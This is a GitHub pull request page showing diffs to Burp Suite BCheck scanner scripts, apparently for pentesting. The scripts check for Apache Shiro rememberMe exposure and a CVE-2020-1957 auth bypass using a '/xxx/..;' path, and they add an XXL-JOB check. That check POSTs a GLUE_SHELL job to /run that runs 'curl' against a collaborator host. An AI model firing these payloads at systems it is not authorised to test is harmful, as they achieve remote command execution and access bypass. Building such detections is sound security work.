Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add xxl job rce and Optimize shiro detection script #128

Merged
merged 6 commits into from
Oct 9, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 8 additions & 7 deletions other/shiro/shiro_active.bcheck
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
metadata:
language: v1-beta
name: "Shiro Cookie Check Active"
description: "Detects Shiro Vulnerability by Manipulating Cookie"
author: "timeshatter"
tags: "Shiro,active"
language: v1-beta
name: "Shiro Cookie Check Active"
description: "Detects Shiro Vulnerability by Manipulating Cookie"
author: "timeshatter"
tags: "Shiro,active"

define:
shiroExploit = "rememberMe=1"
Expand All @@ -17,8 +17,9 @@ given request then

if "rememberMe=deleteMe" in {check.response} then
report issue:
severity: high
confidence: firm
severity: info
confidence: certain
detail: {issueDetail}
remediation: {issueRemediation}
end if

14 changes: 7 additions & 7 deletions other/shiro/shiro_passive.bcheck
Original file line number Diff line number Diff line change
@@ -1,15 +1,15 @@
metadata:
language: v1-beta
name: "Shiro Cookie Check Passive"
description: "Check for Shiro Vulnerability in Response"
author: "timeshatter"
tags: "Shiro,passive"
language: v1-beta
name: "Shiro Cookie Check Passive"
description: "Check for Shiro Vulnerability in Response"
author: "timeshatter"
tags: "Shiro,passive"

given response then
if "rememberMe=deleteMe" in {latest.response} then
report issue:
severity: high
confidence: firm
severity: info
confidence: certain
detail: "Shiro Vulnerability Detected: rememberMe=deleteMe"
remediation: "Investigate and fix the Shiro vulnerability immediately."
end if
25 changes: 25 additions & 0 deletions other/xxl-job/xxl_job_rce.bcheck
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
metadata:
language: v1-beta
name: "xxl job rce"
description: "xxl job rce detection"
author: "timeshatter"
tags: "xxl job"

define:
poc = `\{"jobId": 66666666,"executorHandler": "demoJobHandler","executorParams":"demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0, "logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "curl {generate_collaborator_address()}","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}`

given host then
send request:
method: "POST"
path: "/run"
headers:
"Content-Type": "application/json"
body: {poc}

if any interactions then
report issue:
severity: high
confidence: certain
detail: "xxl job rce detection."
remediation: "Turn on the authentication component that comes with XXL-JOB."
end if
38 changes: 20 additions & 18 deletions vulnerabilities-CVEd/CVE-2020-1957-shiro_auth_bypass.bcheck
Original file line number Diff line number Diff line change
@@ -1,24 +1,26 @@
metadata:
language: v1-beta
name: "CVE-2020-1957 Shiro AuthBypass"
description: "AuthBypass CVE-2020-1957"
author: "timeshatter"
tags: "Shiro", "AuthBypass CVE-2020-1957", "active"
language: v1-beta
name: "CVE-2020-1957 Shiro AuthBypass"
description: "AuthBypass CVE-2020-1957"
author: "timeshatter"
tags: "Shiro", "AuthBypass CVE-2020-1957", "active"

given request then
send request called check:
replacing headers:
"Cookie": "rememberMe=1"
if not ({base.response.status_code} is "200") then
send request called check:
replacing headers:
"Cookie": "rememberMe=1"

if "rememberMe=deleteMe" in {check.response} then
send request called auth_pass_check:
replacing path: `/xxx/..;{base.request.url.path}`
if "rememberMe=deleteMe" in {check.response} then
send request called auth_pass_check:
replacing path: `/xxx/..;{base.request.url.path}`

if (not ({check.response.status_code} is "200")) and {auth_pass_check.response.status_code} is "200" then
report issue:
severity: high
confidence: certain
detail: "find shiro AuthBypass CVE-2020-1957"
remediation: "update shiro to last."
if {auth_pass_check.response.status_code} is "200" then
report issue:
severity: high
confidence: certain
detail: "find shiro AuthBypass CVE-2020-1957"
remediation: "update shiro to last."
end if
end if
end if
end if